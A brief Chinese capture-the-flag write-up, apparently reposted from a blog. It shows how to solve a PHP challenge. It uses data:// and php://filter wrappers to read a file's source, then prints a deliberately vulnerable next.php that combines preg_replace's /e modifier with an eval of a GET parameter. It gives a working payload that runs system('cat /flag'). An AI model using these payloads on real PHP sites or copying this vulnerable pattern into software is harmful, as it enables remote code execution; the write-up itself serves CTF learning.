转自https://www.cnblogs.com/gaonuoqi/p/12499623.html
题目给了源码
绕过限制,首先用php://input伪协议或着用data伪协议读取I have a dream,然后用filter伪协议读取next.php
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
获取next.php的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace存在/e的命令执行漏洞 看了一下这篇文章的讲解
构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');
手机扫一扫
移动阅读更方便
你可能感兴趣的文章